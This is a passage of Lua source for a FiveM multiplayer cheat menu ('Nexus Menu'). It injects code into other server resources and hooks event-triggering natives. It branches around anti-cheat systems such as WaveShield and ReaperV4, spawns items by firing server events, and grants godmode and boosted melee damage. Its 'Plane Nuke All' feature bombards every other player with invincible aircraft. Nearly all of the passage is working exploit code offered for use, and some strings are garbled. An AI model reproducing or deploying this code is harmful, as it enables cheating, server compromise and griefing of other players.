addCharacter(finalChar) end return -- Always return to prevent other handlers end end local function handleKeyRelease(keyCode) -- Track key release - clear state immediately so key can be pressed again keyStates[keyCode] = false keyJustPressed[keyCode] = false -- Only clear hold/repeat data for repeatable keys if not NO_REPEAT_KEYS[keyCode] then keyHoldTime[keyCode] = nil keyLastRepeat[keyCode] = nil keyRepeatCount[keyCode] = nil end if keyCode == 0x10 then shiftPressed = false ---("Shift released") elseif keyCode == 0x11 then ctrlPressed = false ---("Control released") elseif keyCode == 0x12 then altPressed = false ---("Alt released") end end function closeTextInput(submit) -- Enhanced nil checking and safe callback execution if textInputActive and textInputData and textInputData.callback and submit then local isValid = validateInput(textInputData.value, textInputData.inputType) if isValid then -- Use SafeCallback instead of direct call to prevent nil errors SafeCallback(textInputData.callback, textInputData.value) else -- Invalid input - silently reject return end end textInputActive = false textInputJustOpened = false textInputData = { value = "", question = "", placeholder = "", maxLength = 100, inputType = "general", callback = nil } shiftPressed = false ctrlPressed = false altPressed = false if dui then -- Send NUI focus removal message MachoSendDuiMessage(dui, json.encode({ action = "updateKeyboard", visible = false })) MachoSendDuiMessage(dui, json.encode({ action = 'closeTextInput' })) --- ("Sent closeTextInput message to DUI") end end -- Make this function globally accessible for your injected code function openTextInput(question, placeholder, currentValue, maxLength, callback, inputType) -- Validate callback before proceeding if callback and type(callback) ~= "function" then print("^1[Nexus Menu] ERROR: openTextInput received invalid callback^0") return false end textInputActive = true textInputJustOpened = true textInputData.question = question or "Enter text:" textInputData.placeholder = placeholder or "Type here..." textInputData.value = currentValue or "" textInputData.maxLength = maxLength or 100 textInputData.inputType = inputType or "general" textInputData.callback = callback -- Can be nil or function, validated above shiftPressed = false ctrlPressed = false altPressed = false CreateThread(function() Wait(300) textInputJustOpened = false end) if dui then local message = json.encode({ action = 'openTextInput', question = textInputData.question, placeholder = textInputData.placeholder, value = textInputData.value, maxLength = textInputData.maxLength, inputType = textInputData.inputType, fullKeyboardSupport = true }) MachoSendDuiMessage(dui, message) -- Send NUI focus message MachoSendDuiMessage(dui, json.encode({ action = "updateKeyboard", visible = true, value = textInputData.value })) end end -- URL encode function local function urlEncode(str) if not str then return "" end str = string.gsub(str, "\n", "\r\n") str = string.gsub(str, "([^%w %-%_%.%~])", function(c) return string.format("%%%02X", string.byte(c)) end) str = string.gsub(str, " ", "+") return str end -- Get nearby players within maxDistance local function getNearbyPlayers(maxDistance) local players = {} local myPed = PlayerPedId() local myCoords = GetEntityCoords(myPed) local activePlayers = GetActivePlayers() for i = 1, #activePlayers do local playerId = activePlayers[i] if playerId ~= PlayerId() then -- Exclude self local ped = GetPlayerPed(playerId) if DoesEntityExist(ped) then local coords = GetEntityCoords(ped) local dist = #(myCoords - coords) if dist <= maxDistance then local serverID = GetPlayerServerId(playerId) local playerName = GetPlayerName(playerId) if playerName and playerName ~= "" then table.insert(players, { id = serverID, name = playerName, localId = playerId }) end end end end end return players end -- Function to toggle plane nuke local function togglePlaneNuke(enable) if enable then -- Ask for model name when enabling openTextInput( "Enter plane model name:", "Type plane model here (e.g., BOMBUSHKA, LAZER)...", planeNukeModel, 50, function(modelName) if modelName and modelName ~= "" then planeNukeModel = modelName:upper() isPlaneNukeActive = true ---("Starting Plane Nuke with model:", planeNukeModel) -- Start the plane spawning SafeInjectResourceRaw(InjectionResource(), string.format([[ local vehicleModel = "%s" local spawnInterval = 275 local shouldStop = false local function LoadVehicleModel(model) RequestModel(GetHashKey(model)) while not HasModelLoaded(GetHashKey(model)) do Wait(100) end end local function SpawnPlaneForPlayer(playerId) local me = PlayerId() if playerId ~= me then local tgt = GetPlayerPed(playerId) if DoesEntityExist(tgt) and not IsPedDeadOrDying(tgt, true) then local pos = GetEntityCoords(tgt) local spawnPos = pos + vector3( math.random(-5, 5), math.random(-5, 5), math.random(50, 100) ) local vehicle = CreateVehicle( GetHashKey(vehicleModel), spawnPos.x, spawnPos.y, spawnPos.z, 0.0, true, false ) if DoesEntityExist(vehicle) then SetEntityInvincible(vehicle, true) SetEntityProofs(vehicle, true, true, true, true, true, true, true, true) SetVehicleCanBeVisiblyDamaged(vehicle, false) SetEntityHealth(vehicle, 10000) SetVehicleEngineHealth(vehicle, 10000.0) SetVehicleBodyHealth(vehicle, 10000.0) SetVehiclePetrolTankHealth(vehicle, 10000.0) SetVehicleTyresCanBurst(vehicle, false) SetVehicleCanBreak(vehicle, false) SetEntityCanBeDamaged(vehicle, false) SetVehicleExplodesOnHighExplosionDamage(vehicle, false) SetVehicleStrong(vehicle, true) SetEntityVelocity(vehicle, 0.0, 0.0, -10.0) ApplyDamageToPed(tgt, math.random(50, 100), false) SetEntityAsNoLongerNeeded(vehicle) end end end end LoadVehicleModel(vehicleModel) _G.planeNukeActive = true Citizen.CreateThread(function() while _G.planeNukeActive do for i = 0, 255 do if NetworkIsPlayerActive(i) then SpawnPlaneForPlayer(i) end end Citizen.Wait(spawnInterval) end -- Clean up when stopped local vehicles = GetGamePool('CVehicle') for _, vehicle in ipairs(vehicles) do if DoesEntityExist(vehicle) and GetEntityModel(vehicle) == GetHashKey(vehicleModel) then DeleteEntity(vehicle) end end end) ]], planeNukeModel)) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Plane Nuke activated with " .. planeNukeModel, type = 'success' })) end else ---("Model name is required!") isPlaneNukeActive = false -- Uncheck the checkbox since no model was provided for _, settingsItem in ipairs(originalMenu) do if settingsItem.label == "Miscellaneous" and settingsItem.submenu then for _, subItem in ipairs(settingsItem.submenu) do if subItem.label == "Destroyer" and subItem.submenu then for _, destroyerItem in ipairs(subItem.submenu) do if destroyerItem.label == "Plane Nuke All" then destroyerItem.checked = false setCurrent() break end end end end end end end end, "alphanumeric" ) else -- Disable plane nuke isPlaneNukeActive = false ---("Stopping Plane Nuke") SafeInjectResourceRaw(InjectionResource(), string.format([[ _G.planeNukeActive = false -- Clean up existing planes local vehicleModel = "%s" local vehicles = GetGamePool('CVehicle') for _, vehicle in ipairs(vehicles) do if DoesEntityExist(vehicle) and GetEntityModel(vehicle) == GetHashKey(vehicleModel) then DeleteEntity(vehicle) end end ]], planeNukeModel)) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Plane Nuke deactivated", type = 'info' })) end end end -- Function to spawn car with user-provided name local function requestCarSpawn() openTextInput( "Enter car name:", "Type car name here...", "", 50, function(carName) if carName and carName ~= "" then ---("Car name received: " .. carName) MachoInjectResourceRaw('qb-core', [[ local model = "]] .. carName .. [[" local coords = GetEntityCoords(PlayerPedId()) QBCore.Functions.SpawnVehicle(model, false, coords, true, false) ]]) else ---("Car name is required!") end end, "alphanumeric" ) end -- Function to spawn item with user-provided name and amount local function requestItemSpawn() local responses = {} local inputSequence = { { question = "Enter item name:", placeholder = "Type item name here...", maxLength = 50, inputType = "alphanumeric", key = "itemName" }, { question = "Enter amount (numbers only):", placeholder = "Type amount here...", maxLength = 20, inputType = "numeric", key = "amount" } } local function processInput(index) if index > #inputSequence then local itemName = responses[1].value local amount = responses[2].value if itemName and amount and itemName ~= "" and amount ~= "" then ---("Item name received: " .. itemName .. ", Amount: " .. amount) SafeInjectResourceRaw(InjectionResource(), [[ local function Spawner(ITEM, AMOUNT) return TriggerServerEvent('drugs:receive', { Reward = { Name = ITEM, Amount = AMOUNT } }, false) end Spawner(']] .. itemName .. [[', ]] .. amount .. [[) ]]) else ---("Item name and amount are required!") end return end local currentInput = inputSequence[index] openTextInput( currentInput.question, currentInput.placeholder, "", currentInput.maxLength, function(value) if value and value ~= "" then table.insert(responses, { key = currentInput.key, value = value }) ---(currentInput.key .. " received: " .. value) CreateThread(function() Wait(200) processInput(index + 1) end) else ---(currentInput.key .. " is required!") end end, currentInput.inputType ) end processInput(1) end -- Fixed search functionality local function performSearch(query) ---("Searching for: " .. query) if not query or query == "" then ---("Empty search query, resetting to original menu") activeMenu = originalMenu or {} activeIndex = 1 setCurrent() return end -- Ensure originalMenu is valid before searching if not originalMenu or type(originalMenu) ~= "table" then activeMenu = {} activeIndex = 1 setCurrent() return end activeMenu = {} local queryLower = string.lower(query) for _, item in ipairs(originalMenu) do if item.type == "submenu" and item.submenu then local matches = false local submenuCopy = { label = item.label, type = item.type, icon = item.icon, submenu = {} } if string.lower(item.label):find(queryLower, 1, true) then submenuCopy.submenu = item.submenu matches = true else for _, subItem in ipairs(item.submenu) do if string.lower(subItem.label):find(queryLower, 1, true) then table.insert(submenuCopy.submenu, subItem) matches = true end end end if matches then table.insert(activeMenu, submenuCopy) end elseif string.lower(item.label):find(queryLower, 1, true) then table.insert(activeMenu, item) end end -- Ensure activeMenu has at least one item if #activeMenu == 0 then activeMenu = {{ label = "No results found", type = "button" }} end if activeIndex > #activeMenu then activeIndex = 1 end if activeIndex < 1 then activeIndex = 1 end setCurrent() ---("Search results updated, found " .. #activeMenu .. " matching items") end -- ENHANCED Function to update banner settings with proper color application local function updateBannerSettings() if dui then -- Make sure we have a valid banner index if currentBannerIndex < 1 or currentBannerIndex > #customBanners then currentBannerIndex = 1 end local currentBanner = customBanners[currentBannerIndex] ---("Updating banner to:", currentBanner.name, "Link:", currentBanner.link, "Color:", currentBanner.color) -- Ensure URL is properly formatted (handle spaces, etc.) local bannerUrl = currentBanner.link if bannerUrl then -- Trim whitespace bannerUrl = bannerUrl:match("^%s*(.-)%s*$") -- URL encode if needed (basic handling) bannerUrl = bannerUrl:gsub(" ", "%%20") end MachoSendDuiMessage(dui, json.encode({ action = 'updateBanner', bannerLink = bannerUrl, bannerColor = currentBanner.color, bannerSpacing = bannerSpacing })) ---("Updated banner:", currentBanner.name, "Spacing:", bannerSpacing) end end -- Function to handle custom banner color selection and setup local function openCustomBannerColorSelection(bannerUrl) -- Color mapping for common color names local colorMap = { ["red"] = "#e74c3c", ["blue"] = "#3498db", ["green"] = "#2ecc71", ["yellow"] = "#f1c40f", ["purple"] = "#9b59b6", ["orange"] = "#e67e22", ["pink"] = "#e91e63", ["cyan"] = "#1abc9c", ["white"] = "#ffffff", ["black"] = "#000000", ["gray"] = "#808080", ["grey"] = "#808080", ["brown"] = "#8b4513", ["lime"] = "#00ff00", ["navy"] = "#000080", ["teal"] = "#008080", ["maroon"] = "#800000", ["olive"] = "#808000", ["silver"] = "#c0c0c0", ["gold"] = "#ffd700" } openTextInput( "Enter Banner Color", "Enter color name (red, blue, green, etc.) or hex code (#ffffff)...", "", 20, function(colorInput) if colorInput and colorInput ~= "" then local color = colorInput:lower():match("^%s*(.-)%s*$") -- Trim whitespace local bannerColor = nil -- Check if it's a hex code if color:match("^#%x%x%x%x%x%x$") then bannerColor = color -- Check if it's a color name elseif colorMap[color] then bannerColor = colorMap[color] -- Try to use the input as-is if it looks like a color else bannerColor = color end -- Clean and validate the banner URL local cleanedUrl = bannerUrl if cleanedUrl then -- Trim whitespace cleanedUrl = cleanedUrl:match("^%s*(.-)%s*$") -- Remove any trailing whitespace or newlines cleanedUrl = cleanedUrl:gsub("%s+$", "") end -- Add the custom banner to the array local customBanner = { name = "Custom Banner", link = cleanedUrl, color = bannerColor or "#ffffff" } table.insert(customBanners, customBanner) currentBannerIndex = #customBanners updateBannerSettings() if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Custom banner applied!", type = 'success' })) end ---("Custom banner added: URL=" .. bannerUrl .. ", Color=" .. (bannerColor or "#ffffff")) end end, "general" ) end -- Function to update breadcrumb path local function updateBreadcrumb() if dui then local breadcrumbText = table.concat(breadcrumbPath, " > ") MachoSendDuiMessage(dui, json.encode({ action = 'updateBreadcrumb', breadcrumb = breadcrumbText })) ---("Breadcrumb updated:", breadcrumbText) end end -- Function to clean menu label for breadcrumb (remove emoji and extra spaces) -- Function to clean menu label for breadcrumb (remove emoji and extra spaces) local function cleanLabelForBreadcrumb(label) if not label or label == "" then return nil end -- Remove all emojis and special characters local cleaned = label:gsub("ֳƒֲ°ֳ…ֲ¸ֳ…ֲ½ֳ‚ֲ¯", ""):gsub("ֳƒֲ°ֳ…ֲ¸ֳ…ֲ½ֳ‚ֲ¯ ", ""):gsub("ֳƒֲ¢ֳ¢ג‚¬ ֳ¢ג‚¬ג„¢+", ""):gsub("[%z\1-\31]", "") -- Trim whitespace cleaned = cleaned:match("^%s*(.-)%s*$") or "" if cleaned == "" or cleaned == "----------------" then return nil end return cleaned end -- String trim function function string:trim() return self:match("^%s*(.-)%s*$") end -- Function to update banner selection visual state local function updateBannerSelectionState() -- Find the banner selection submenu and update isSelected states for _, settingsItem in ipairs(originalMenu) do if settingsItem.label == "Settings" and settingsItem.submenu then for _, subItem in ipairs(settingsItem.submenu) do if subItem.label == "Banner Selection" and subItem.submenu then for i, bannerItem in ipairs(subItem.submenu) do bannerItem.isSelected = (i == currentBannerIndex) end end end end end end -- ===================== MENU DATA WITH ENHANCED BANNER SELECTION ===================== originalMenu = { { label = "Player", type = 'submenu', icon = 'ph-user', tabs = { { name = 'Player', submenu = { { label = 'Enable Godmode', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Godmode', onConfirm = function(setToggle) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("adsadsadsads") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) if not _G.nexusGodmode then _G.nexusGodmode = { enabled = false } end _G.nexusGodmode.enabled = setToggle local playerPed = PlayerPedId() SetEntityInvincible(playerPed, setToggle) CreateThread(function() while _G.nexusGodmode and _G.nexusGodmode.enabled do local currentPed = PlayerPedId() if currentPed and DoesEntityExist(currentPed) then SetEntityInvincible(currentPed, true) end Wait(100) end -- Clean up when disabled if not _G.nexusGodmode.enabled then local currentPed = PlayerPedId() if currentPed and DoesEntityExist(currentPed) then SetEntityInvincible(currentPed, false) end end end) else -- Use Macho injection when WaveShield is not running SafeInjectResourceRaw(InjectionResource(), [[ -- Define SmartInvoker function inside injection local function resourceStarted(resource) return GetResourceState(resource) == 'started' end function SmartInvoker(func, ...) return func(...) end -- Initialize godmode state if not _G.nexusGodmode then _G.nexusGodmode = { enabled = false } end _G.nexusGodmode.enabled = ]] .. tostring(setToggle) .. [[ local playerPed = SmartInvoker(PlayerPedId) SmartInvoker(SetEntityInvincible, playerPed, ]] .. tostring(setToggle) .. [[) SmartInvoker(CreateThread, function() while _G.nexusGodmode and _G.nexusGodmode.enabled do local currentPed = SmartInvoker(PlayerPedId) if currentPed and SmartInvoker(DoesEntityExist, currentPed) then SmartInvoker(SetEntityInvincible, currentPed, true) end SmartInvoker(Wait, 100) end -- Clean up when disabled if not _G.nexusGodmode.enabled then local currentPed = SmartInvoker(PlayerPedId) if currentPed and SmartInvoker(DoesEntityExist, currentPed) then SmartInvoker(SetEntityInvincible, currentPed, false) end end end) ]]) end end }, { label = 'Script Revive', type = 'button', canBind = true, bindName = 'Script Revive', onConfirm = function() local WaveActive = GetResourceState("WaveShield") == "started" local reaperActive = GetResourceState("ReaperV4") == "started" local Actions = { ["amigo"] = function() SafeInjectResourceRaw("amigo", [[ respawnPlayer() ]], "Revive") end, ["TrappinBridge"] = function() SafeInjectResourceRaw("new", [[ LocalPlayer.state:set('isDead', false, true) ]], "Revive") end, ["rzrp-base"] = function() SafeInjectResourceRaw("rzrp-base", [[ local ped = PlayerPedId() if ped and DoesEntityExist(ped) then local coords = GetEntityCoords(ped) local heading = GetEntityHeading(ped) NetworkResurrectLocalPlayer(coords.x, coords.y, coords.z, heading, true, false) SetEntityHealth(ped, 200) ClearPedBloodDamage(ped) ClearPedTasksImmediately(ped) SetPlayerInvincible(PlayerId(), false) SetEntityInvincible(ped, false) SetPedCanRagdoll(ped, true) SetPedCanRagdollFromPlayerImpact(ped, true) SetPedRagdollOnCollision(ped, true) end ]], "Revive") end, ["FiveStar"] = function() SafeInjectResourceRaw("FiveStar", [[ if not _G.nexus then _G.nexus = { TEvent = function(...) end, TSEvent = function(...) end } end local function HookNative(nativeName, newFunction) local originalNative = _G[nativeName] if not originalNative or type(originalNative) ~= "function" then return end _G[nativeName] = function(...) print(("^7[^5nexus^7] [^3DEBUG^7]: Hooked Native - %s"):format(nativeName)) return newFunction(originalNative, ...) end end HookNative("TriggerEvent", function(originalFn, eName, ...) _G.nexus.TEvent = function(event, ...) return originalFn(event, ...) end return originalFn(eName, ...) end) HookNative("TriggerServerEvent", function(originalFn, eName, ...) _G.nexus.TSEvent = function(event, ...) return originalFn(event, ...) end return originalFn(eName, ...) end) _G.nexus.TEvent = function(eName, ...) return TriggerEvent(eName, ...) end _G.nexus.TSEvent = function(eName, ...) return TriggerServerEvent(eName, ...) end local function initFlow(cb) local co = coroutine.create(cb) local ok, err while coroutine.status(co) ~= "dead" do ok, err = coroutine.resume(co) if not ok then print("WaveShield Coroutine error:", err) break end Citizen.Wait(0) end end initFlow(function() Citizen.Wait(1000) _G.nexus.TSEvent('revive:Player:Dead') end) ]], "Revive") end, ["scripts"] = function() if GetResourceState("scripts") == 'started' then SafeInjectResourceRaw("scripts", [[ TriggerServerEvent('deathscreen:revive', GetPlayerServerId(PlayerId())) ]], "Revive") end end, ["framework"] = function() if GetResourceState("framework") == 'started' then if WaveActive then TriggerEvent('deathscreen:revive') else SafeInjectResourceRaw("framework", [[ TriggerEvent('deathscreen:revive') ]], "Revive") end end end, ["qb-jail"] = function() if GetResourceState("qb-jail") == 'started' then SafeInjectResourceRaw("qb-jail", [[ TriggerEvent('hospital:client:Revive') ]], "Revive") end end, ["wasabi_ambulance"] = function() SafeInjectResourceRaw("wasabi_ambulance", [[ if not _G.nexus then _G.nexus = { TEvent = function(...) end, TSEvent = function(...) end } end local TriggerServerEvent = TriggerServerEvent local TriggerEvent = TriggerEvent local function HookNative(nativeName, newFunction) local originalNative = _G[nativeName] if not originalNative or type(originalNative) ~= "function" then return end _G[nativeName] = function(...) print(("^7[^5nexus^7] [^3DEBUG^7]: Hooked Native - %s"):format(nativeName)) return newFunction(originalNative, ...) end end HookNative("TriggerEvent", function(originalFn, eName, ...) _G.nexus.TEvent = function(event, ...) return originalFn(event, ...) end return originalFn(eName, ...) end) HookNative("TriggerServerEvent", function(originalFn, eName, ...) _G.nexus.TSEvent = function(event, ...) return originalFn(event, ...) end return originalFn(eName, ...) end) _G.nexus.TEvent = function(eName, ...) return TriggerEvent(eName, ...) end _G.nexus.TSEvent = function(eName, ...) return TriggerServerEvent(eName, ...) end local CreateThread = Citizen and Citizen.CreateThread or _G.CreateThread or function(...) end local SetTimeout = Citizen and Citizen.SetTimeout or _G.SetTimeout or function(...) end CreateThread(function() SetTimeout(1000, function() _G.nexus.TEvent("esx:onPlayerSpawn") _G.nexus.TSEvent("esx:onPlayerSpawn") end) end) ]], "Revive") end, ["mc9-medicsystem"] = function() SafeInjectResourceRaw("mc9-medicsystem", [[ local CreateThread = Citizen and Citizen.CreateThread or _G.CreateThread or function(...) end CreateThread(function() lib.callback.await('wasabi_ambulance:revivePlayerMedkit', false, GetPlayerServerId(PlayerId())) end) ]], "Revive") end, ["qb-ambulancejob"] = function() SafeInjectResourceRaw("qb-ambulancejob", [[ RespawnPed(PlayerPedId(), GetEntityCoords(PlayerPedId()), GetEntityHeading(PlayerPedId())) ]], "Revive") end, ["esx_ambulancejob"] = function() SafeInjectResourceRaw("esx_ambulancejob", [[ if not _G.nexus then _G.nexus = { TEvent = function(...) end, TSEvent = function(...) end } end local TriggerServerEvent = TriggerServerEvent local TriggerEvent = TriggerEvent local function HookNative(nativeName, newFunction) local originalNative = _G[nativeName] if not originalNative or type(originalNative) ~= "function" then return end _G[nativeName] = function(...) print(("^7[^5nexus^7] [^3DEBUG^7]: Hooked Native - %s"):format(nativeName)) return newFunction(originalNative, ...) end end HookNative("TriggerEvent", function(originalFn, eName, ...) _G.nexus.TEvent = function(event, ...) return originalFn(event, ...) end return originalFn(eName, ...) end) HookNative("TriggerServerEvent", function(originalFn, eName, ...) _G.nexus.TSEvent = function(event, ...) return originalFn(event, ...) end return originalFn(eName, ...) end) _G.nexus.TEvent = function(eName, ...) return TriggerEvent(eName, ...) end _G.nexus.TSEvent = function(eName, ...) return TriggerServerEvent(eName, ...) end RespawnPed(PlayerPedId(), GetEntityCoords(PlayerPedId()), GetEntityHeading(PlayerPedId())) local CreateThread = Citizen and Citizen.CreateThread or _G.CreateThread or function(...) end local SetTimeout = Citizen and Citizen.SetTimeout or _G.SetTimeout or function(...) end CreateThread(function() SetTimeout(1000, function() _G.nexus.TEvent("esx:onPlayerSpawn") _G.nexus.TSEvent("esx:onPlayerSpawn") _G.nexus.TSEvent("hospital:client:Revive") end) end) ]], "Revive") end } -- Try each action based on resource availability for resourceName, action in pairs(Actions) do if GetResourceState(resourceName) == 'started' then action() return end end -- Fallback: Direct native revive if WaveActive then local ped = PlayerPedId() local coords = GetEntityCoords(ped) local heading = GetEntityHeading(ped) NetworkResurrectLocalPlayer(coords.x, coords.y, coords.z, heading, false, false, false, 1, 0) Wait(100) SetEntityHealth(ped, GetEntityMaxHealth(ped)) ClearPedBloodDamage(ped) ResetPedVisibleDamage(ped) ClearPedLastWeaponDamage(ped) else SafeInjectResourceRaw(InjectionResource(), [[ local function resourceStarted(resource) return GetResourceState(resource) == 'started' end function SmartInvoker(func, ...) return func(...) end local function revivePlayer() local ped = SmartInvoker(PlayerPedId) local coords = SmartInvoker(GetEntityCoords, ped) local heading = SmartInvoker(GetEntityHeading, ped) SmartInvoker(NetworkResurrectLocalPlayer, coords.x, coords.y, coords.z, heading, false, false, false, 1, 0) SmartInvoker(Wait, 100) SmartInvoker(SetEntityHealth, ped, SmartInvoker(GetEntityMaxHealth, ped)) SmartInvoker(ClearPedBloodDamage, ped) SmartInvoker(ResetPedVisibleDamage, ped) SmartInvoker(ClearPedLastWeaponDamage, ped) end revivePlayer() ]], "Revive") end end }, { label = 'Native Revive', type = 'button', canBind = true, bindName = 'Native Revive', onConfirm = function() -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("adsadssad") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local ped = PlayerPedId() local playerId = PlayerId() SetEntityHealth(ped, GetEntityMaxHealth(ped)) NetworkResurrectLocalPlayer(GetEntityCoords(ped), GetEntityHeading(ped), true, false) StopScreenEffect('DeathFailOut') DoScreenFadeIn(800) SetPedCanRagdoll(ped, true) SetPedCanRagdoll(ped, false) SetPedCanRagdoll(ped, true) SetEntityInvincible(ped, false) SetEntityInvincible(ped, true) Wait(100) SetEntityInvincible(ped, false) for i = 1, 5 do SetEntityHealth(ped, GetEntityMaxHealth(ped)) Wait(50) end else -- Use SafeInjectResourceRaw (handles ReaperV4/vRP/standard automatically) SafeInjectResourceRaw(InjectionResource(), [[ local function resourceStarted(resource) return GetResourceState(resource) == 'started' end function SmartInvoker(func, ...) return func(...) end local function nativeRevive() local ped = SmartInvoker(PlayerPedId) local playerId = SmartInvoker(PlayerId) SmartInvoker(SetEntityHealth, ped, SmartInvoker(GetEntityMaxHealth, ped)) SmartInvoker(NetworkResurrectLocalPlayer, SmartInvoker(GetEntityCoords, ped), SmartInvoker(GetEntityHeading, ped), true, false) SmartInvoker(StopScreenEffect, 'DeathFailOut') SmartInvoker(DoScreenFadeIn, 800) SmartInvoker(SetPedCanRagdoll, ped, true) SmartInvoker(SetPedCanRagdoll, ped, false) SmartInvoker(SetPedCanRagdoll, ped, true) SmartInvoker(SetEntityInvincible, ped, false) SmartInvoker(SetEntityInvincible, ped, true) SmartInvoker(Wait, 100) SmartInvoker(SetEntityInvincible, ped, false) for i = 1, 5 do SmartInvoker(SetEntityHealth, ped, SmartInvoker(GetEntityMaxHealth, ped)) SmartInvoker(Wait, 50) end end nativeRevive() ]]) end end }, { label = 'Suicide', type = 'button', canBind = true, bindName = 'Suicide', onConfirm = function() -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("asdasdasdas") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) SetEntityHealth(PlayerPedId(), 0) else -- Use Macho injection when WaveShield is not running MachoInjectResourceRaw(InjectionResource(), [[ local function resourceStarted(resource) return GetResourceState(resource) == 'started' end function SmartInvoker(func, ...) return func(...) end local function suicide() SmartInvoker(SetEntityHealth, SmartInvoker(PlayerPedId), 0) end suicide() ]]) end end }, { label = 'Teleport to Waypoint', type = 'button', canBind = true, bindName = 'Teleport to Waypoint', onConfirm = function() -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("asdadadadad") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local blip = GetFirstBlipInfoId(8) if blip ~= 0 then local coord = GetBlipInfoIdCoord(blip) local ped = PlayerPedId() local ground, z = GetGroundZFor_3dCoord(coord.x, coord.y, coord.z + 1000.0) if ground then SetEntityCoords(ped, coord.x, coord.y, z, false, false, false, true) else SetEntityCoords(ped, coord.x, coord.y, coord.z, false, false, false, true) end end else -- Use Macho injection when WaveShield is not running MachoInjectResourceRaw(InjectionResource(), [[ local function resourceStarted(resource) return GetResourceState(resource) == 'started' end function SmartInvoker(func, ...) return func(...) end local function teleportToWaypoint() local blip = SmartInvoker(GetFirstBlipInfoId, 8) if blip ~= 0 then local coord = SmartInvoker(GetBlipInfoIdCoord, blip) local ped = SmartInvoker(PlayerPedId) local ground, z = SmartInvoker(GetGroundZFor_3dCoord, coord.x, coord.y, coord.z + 1000.0) if ground then SmartInvoker(SetEntityCoords, ped, coord.x, coord.y, z, false, false, false, true) else SmartInvoker(SetEntityCoords, ped, coord.x, coord.y, coord.z, false, false, false, true) end end end teleportToWaypoint() ]]) end end }, { label = 'One Punch [Semi risky]', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle One Punch', onConfirm = function(setToggle) local waveStarted = GetResourceState("WaveShield") == 'started' local targetRes = (GetResourceState("monitor") == "started" and "monitor") or (GetResourceState("ox_lib") == "started" and "ox_lib") or "any" if setToggle then if waveStarted then print("Super Punch Enabled") SafeInjectResourceRaw(GetResourceState("lb-phone") == "started" and "lb-phone" or "WaveShield", [[ function hNative(nativeName, newFunction) local originalNative = _G[nativeName] if not originalNative or type(originalNative) ~= "function" then return end _G[nativeName] = function(...) return newFunction(originalNative, ...) end end if superPunchEnabled == nil then superPunchEnabled = false end superPunchEnabled = true local function initFlow(cb) local co = coroutine.create(cb) local ok, err while coroutine.status(co) ~= "dead" do ok, err = coroutine.resume(co) if not ok then print("WaveShield Coroutine error:", err) break end Citizen.Wait(0) end end initFlow(function() local setMeleeMod = SetPlayerMeleeWeaponDamageModifier local setVehicleMod = SetPlayerVehicleDamageModifier local setWeaponMod = SetWeaponDamageModifier local playerId = PlayerId local unarmedHash = GetHashKey("WEAPON_UNARMED") local damageValue = 150.0 while superPunchEnabled and not Unloaded do Wait(0) local pid = playerId() setMeleeMod(pid, damageValue) setVehicleMod(pid, damageValue) setWeaponMod(unarmedHash, damageValue) end -- Restore on disable local pid = playerId() setMeleeMod(pid, 1.0) setVehicleMod(pid, 1.0) setWeaponMod(unarmedHash, 1.0) end) ]]) else SafeInjectResourceRaw(targetRes, [[ function hNative(nativeName, newFunction) local originalNative = _G[nativeName] if not originalNative or type(originalNative) ~= "function" then return end _G[nativeName] = function(...) return newFunction(originalNative, ...) end end hNative("CreateThread", function(originalFn, ...) return originalFn(...) end) hNative("Wait", function(originalFn, ...) return originalFn(...) end) hNative("SetPlayerMeleeWeaponDamageModifier", function(originalFn, ...) return originalFn(...) end) hNative("SetPlayerVehicleDamageModifier", function(originalFn, ...) return originalFn(...) end) hNative("SetWeaponDamageModifier", function(originalFn, ...) return originalFn(...) end) hNative("PlayerId", function(originalFn, ...) return originalFn(...) end) hNative("GetHashKey", function(originalFn, ...) return originalFn(...) end) if superPunchEnabled == nil then superPunchEnabled = false end superPunchEnabled = true local function startSuperPunch() local create = CreateThread local wait = Wait local setMelee = SetPlayerMeleeWeaponDamageModifier local setVehicle = SetPlayerVehicleDamageModifier local setWeapon = SetWeaponDamageModifier local getPlayer = PlayerId local hashKey = GetHashKey create(function() local unarmedHash = hashKey("WEAPON_UNARMED") local damageValue = 150.0 while superPunchEnabled and not Unloaded do local pid = getPlayer() setMelee(pid, damageValue) setVehicle(pid, damageValue) setWeapon(unarmedHash, damageValue) wait(0) end -- Restore local pid = getPlayer() setMelee(pid, 1.0) setVehicle(pid, 1.0) setWeapon(unarmedHash, 1.0) end) end startSuperPunch() ]]) end else if waveStarted then SafeInjectResourceRaw(GetResourceState("lb-phone") == "started" and "lb-phone" or "WaveShield", [[ superPunchEnabled = false ]]) else SafeInjectResourceRaw(targetRes, [[ superPunchEnabled = false ]]) end end end }, { label = 'Player Antifreeze', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Player Antifreeze', onConfirm = function(setToggle) local waveShieldRunning = GetResourceState("asdadadsada") == "started" if setToggle then if waveShieldRunning then nHgFdSaZxCvBnMq = true CreateThread(function() while nHgFdSaZxCvBnMq and not Unloaded do if IsEntityPositionFrozen(PlayerPedId()) then FreezeEntityPosition(PlayerPedId(), false) ClearPedTasks(PlayerPedId()) end Wait(0) end end) else SafeInjectResourceRaw(InjectionResource(), [[ nHgFdSaZxCvBnMq = true local sdfw3w3tsdg = CreateThread local function XELa6FJtsB() sdfw3w3tsdg(function() while nHgFdSaZxCvBnMq and not Unloaded do local fhw72q35d8sfj = FreezeEntityPosition local segfhs347dsgf = ClearPedTasks if IsEntityPositionFrozen(PlayerPedId()) then fhw72q35d8sfj(PlayerPedId(), false) segfhs347dsgf(PlayerPedId()) end Wait(0) end end) end XELa6FJtsB() ]]) end else if waveShieldRunning then nHgFdSaZxCvBnMq = false else SafeInjectResourceRaw(InjectionResource(), [[ nHgFdSaZxCvBnMq = false ]]) end end end }, { label = 'Solo Session', type = 'checkbox', checked = false, canBind 